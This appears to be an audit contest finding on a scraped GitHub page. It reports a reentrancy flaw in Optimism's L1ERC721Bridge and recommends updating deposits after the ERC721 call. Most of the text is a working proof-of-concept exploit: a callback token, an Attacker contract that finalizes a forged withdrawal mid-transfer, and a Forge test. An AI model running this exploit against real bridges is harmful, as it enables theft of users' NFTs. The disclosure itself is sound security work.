Skip to content
This repository has been archived by the owner on May 26, 2023. It is now read-only.

Latest commit

 

History

History
396 lines (335 loc) · 12.3 KB

022.md

File metadata and controls

396 lines (335 loc) · 12.3 KB

ustas

medium

Reentrancy in L1ERC721Bridge

Summary

Calling IERC721.transferFrom() in the L1ERC721Bridge._initiateBridgeERC721() after writing the deposit makes a reentrancy attack possible if there is a callback before transfer in the _localToken contract (we will name such a contract ERC721Callback).

https://github.com/sherlock-audit/2023-01-optimism/blob/main/optimism/packages/contracts-bedrock/contracts/L1/L1ERC721Bridge.sol#L99-L101

Vulnerability Detail

An attacker can set the deposits variable for any token from the ERC721Callback contract to true within one transaction. Possible contract ERC721Callback:

interface ISomeCommonContract {
    function onERC721Transfer(
        address from,
        address to,
        uint256 tokenId
    ) external;
}

contract ERC721Callback is ERC721 {
    using ERC165Checker for address;

    constructor() ERC721("Test", "TST") {}

    function mint(address to, uint256 tokenId) public {
        _mint(to, tokenId);
    }

    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) public override {
        // Some callback before a transfer.
        if (from.supportsInterface(type(ISomeCommonContract).interfaceId)) {
            ISomeCommonContract(from).onERC721Transfer(from, to, tokenId);
        }

        super.transferFrom(from, to, tokenId);
    }

    ...
}

Optimism's internal system could allow an attacker to use any ERC721Callback NFT on the balance of L1ERC721Bridge within a single transaction. Also, given that the deposits variable is public, there may be a vulnerability in external services that would rely on it.

Algorithm for unauthorized use of NFT:

  1. Create a transaction through L2ERC721Bridge to withdraw fake NFT from L2. In it, use a fake _localToken. Since the verification of the arguments entered in the bridge occurs at L1, the transaction will succeed. A possible contract _localToken:
  • L1Token corresponds to the contract on L1 being attacked
  • tokenId corresponds to the ID of the NFT we want to get on L1
contract AttackerL2ERC721 is OptimismMintableERC721 {
    constructor(
        address L2Bridge,
        address L1Token,
        uint256 tokenId
    ) OptimismMintableERC721(L2Bridge, 1, L1Token, "L2Token", "L2T") {
        _mint(msg.sender, tokenId);
    }
}
  1. This is the end of the work with L2. Next, we verify the transaction on OptimismPortal and wait for the finalization period.
  2. Using the following contract, we start the attack:
  • The __tx in the constructor is our transaction from the previous steps
  • The _localToken is the victim contract ERC721Callback
  • The _remoteToken is the contract from the first step
contract Attacker is ISomeCommonContract, IERC721Receiver, ERC165 {
    OptimismPortal internal portal;
    ERC721Callback internal localToken;
    address internal remoteToken;
    L1ERC721Bridge internal bridge;
    Types.WithdrawalTransaction _tx;

    constructor(
        OptimismPortal _portal,
        ERC721Callback _localToken,
        address _remoteToken,
        L1ERC721Bridge _bridge
    ) {
        portal = _portal;
        localToken = _localToken;
        remoteToken = _remoteToken;
        bridge = _bridge;
    }

    function start(uint256 tokenId, Types.WithdrawalTransaction memory __tx) public {
        _tx = __tx;

        bridge.bridgeERC721To(
            address(localToken),
            remoteToken,
            address(this),
            tokenId,
            1234,
            hex""
        );
    }

    // The function that will be called before token transfer.
    function onERC721Transfer(
        address,
        address,
        uint256 tokenId
    ) external {
        assert(bridge.deposits(address(localToken), remoteToken, tokenId) == true);

        portal.finalizeWithdrawalTransaction(_tx);

        if (localToken.ownerOf(tokenId) == address(this)) {
            localToken.approve(address(bridge), tokenId);
            // Do whatever you want
        } else {
            revert("Attack did not succeed");
        }
    }

    function onERC721Received(
        address,
        address,
        uint256,
        bytes calldata
    ) external pure returns (bytes4) {
        return this.onERC721Received.selector;
    }

    function supportsInterface(bytes4 interfaceId) public view override returns (bool) {
        return
            interfaceId == type(ISomeCommonContract).interfaceId ||
            super.supportsInterface(interfaceId);
    }
}

As you can see, the point of the attack is to finalize a pre-created transaction during the callback. Under normal circumstances, such a transaction would have failed because deposits[_localToken][_remoteToken][_tokenId] != true. But, with callback, we bypassed this check.

Forge test:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.15;

import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
import "@openzeppelin/contracts/utils/introspection/ERC165Checker.sol";
import { ERC721 } from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import { Types } from "../libraries/Types.sol";
import { Hashing } from "../libraries/Hashing.sol";
import { Messenger_Initializer } from "./CommonTest.t.sol";
import { CrossDomainMessenger } from "../universal/CrossDomainMessenger.sol";
import { OptimismMintableERC721 } from "../universal/OptimismMintableERC721.sol";
import { L2OutputOracle } from "../L1/L2OutputOracle.sol";
import { OptimismPortal } from "../L1/OptimismPortal.sol";
import { L1ERC721Bridge } from "../L1/L1ERC721Bridge.sol";

interface ISomeCommonContract {
    function onERC721Transfer(
        address from,
        address to,
        uint256 tokenId
    ) external;
}

contract ERC721Callback is ERC721 {
    using ERC165Checker for address;

    constructor() ERC721("Test", "TST") {}

    function mint(address to, uint256 tokenId) public {
        _mint(to, tokenId);
    }

    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) public override {
        // Some callback before a transfer.
        if (from.supportsInterface(type(ISomeCommonContract).interfaceId)) {
            ISomeCommonContract(from).onERC721Transfer(from, to, tokenId);
        }

        super.transferFrom(from, to, tokenId);
    }
}

contract Attacker is ISomeCommonContract, IERC721Receiver, ERC165 {
    OptimismPortal internal portal;
    ERC721Callback internal localToken;
    address internal remoteToken;
    L1ERC721Bridge internal bridge;
    Types.WithdrawalTransaction _tx;

    constructor(
        OptimismPortal _portal,
        ERC721Callback _localToken,
        address _remoteToken,
        L1ERC721Bridge _bridge
    ) {
        portal = _portal;
        localToken = _localToken;
        remoteToken = _remoteToken;
        bridge = _bridge;
    }

    function start(uint256 tokenId, Types.WithdrawalTransaction memory __tx) public {
        _tx = __tx;

        bridge.bridgeERC721To(
            address(localToken),
            remoteToken,
            address(this),
            tokenId,
            1234,
            hex""
        );
    }

    // The function that will be called before token transfer.
    function onERC721Transfer(
        address,
        address,
        uint256 tokenId
    ) external {
        assert(bridge.deposits(address(localToken), remoteToken, tokenId) == true);

        portal.finalizeWithdrawalTransaction(_tx);

        if (localToken.ownerOf(tokenId) == address(this)) {
            localToken.approve(address(bridge), tokenId);
        } else {
            revert("Attack did not succeed");
        }
    }

    function onERC721Received(
        address,
        address,
        uint256,
        bytes calldata
    ) external pure returns (bytes4) {
        return this.onERC721Received.selector;
    }

    function supportsInterface(bytes4 interfaceId) public view override returns (bool) {
        return
            interfaceId == type(ISomeCommonContract).interfaceId ||
            super.supportsInterface(interfaceId);
    }
}

contract L1ERC721BridgeReentrancy_Test is Messenger_Initializer {
    ERC721Callback internal localToken;
    ERC721Callback internal remoteToken;
    L1ERC721Bridge internal bridge;
    Attacker internal attacker;
    address internal constant otherBridge = address(0x3456);
    uint256 internal constant tokenId = 1;

    event ERC721BridgeInitiated(
        address indexed localToken,
        address indexed remoteToken,
        address indexed from,
        address to,
        uint256 tokenId,
        bytes extraData
    );

    event ERC721BridgeFinalized(
        address indexed localToken,
        address indexed remoteToken,
        address indexed from,
        address to,
        uint256 tokenId,
        bytes extraData
    );

    function setUp() public override {
        super.setUp();

        // Deploy the L1ERC721Bridge.
        bridge = new L1ERC721Bridge(address(L1Messenger), otherBridge);

        // Create necessary contracts.
        localToken = new ERC721Callback();
        remoteToken = new ERC721Callback();

        // Deploy the Attacker
        attacker = new Attacker(op, localToken, address(remoteToken), bridge);

        // Label the bridges and the attacker so we get nice traces.
        vm.label(address(bridge), "L1ERC721Bridge");
        vm.label(address(attacker), "Attacker");

        // Mint alice a token.
        localToken.mint(alice, tokenId);

        // Approve the bridge to transfer the token.
        vm.prank(alice);
        localToken.approve(address(bridge), tokenId);
    }

    function test_attack_succeeds() public {
        // Bridge the token to L2.
        vm.prank(alice);
        bridge.bridgeERC721(address(localToken), address(remoteToken), tokenId, 1234, hex"5678");

        // Mock tx from L2.
        Types.WithdrawalTransaction memory _tx = Types.WithdrawalTransaction({
            nonce: 0,
            sender: address(L2Messenger),
            target: address(L1Messenger),
            value: 0,
            gasLimit: 100_000,
            data: abi.encodeWithSelector(
                CrossDomainMessenger.relayMessage.selector,
                0,
                otherBridge,
                address(bridge),
                0,
                50_000,
                abi.encodeWithSelector(
                    L1ERC721Bridge.finalizeBridgeERC721.selector,
                    address(localToken),
                    address(remoteToken),
                    address(attacker),
                    address(attacker),
                    tokenId,
                    hex""
                )
            )
        });
        bytes32 txHash = Hashing.hashWithdrawal(_tx);

        // Prove the tx.
        vm.store(
            address(op),
            bytes32(uint256(keccak256(abi.encode(txHash, 52))) + 1),
            bytes32(block.timestamp)
        );

        vm.mockCall(
            address(oracle),
            abi.encodeWithSelector(L2OutputOracle.getL2Output.selector, 0),
            abi.encode(Types.OutputProposal(0, uint128(block.timestamp), 0))
        );

        vm.warp(block.timestamp + 7 days + 1);

        // Expect events to be emitted.
        vm.expectEmit(true, true, true, true);
        emit ERC721BridgeFinalized(
            address(localToken),
            address(remoteToken),
            address(attacker),
            address(attacker),
            tokenId,
            hex""
        );

        vm.expectEmit(true, true, true, true);
        emit ERC721BridgeInitiated(
            address(localToken),
            address(remoteToken),
            address(attacker),
            address(attacker),
            tokenId,
            hex""
        );

        attacker.start(tokenId, _tx);

        // Token is still locked in the bridge.
        assertEq(bridge.deposits(address(localToken), address(remoteToken), tokenId), false);
        assertEq(localToken.ownerOf(tokenId), address(bridge));
    }
}

Impact

An attacker could profit from NFT, thus stealing potential profits from the actual owner (e.g., unused claim on L1). Other uses are possible if the NFT, for example, grants access to external services.

Code Snippet

https://github.com/sherlock-audit/2023-01-optimism/blob/main/optimism/packages/contracts-bedrock/contracts/L1/L1ERC721Bridge.sol#L99-L101

Tool used

Manual Review, VSCodium, Foundry

Recommendation

Update L1ERC721Bridge.deposits after the call to an ERC721 contract.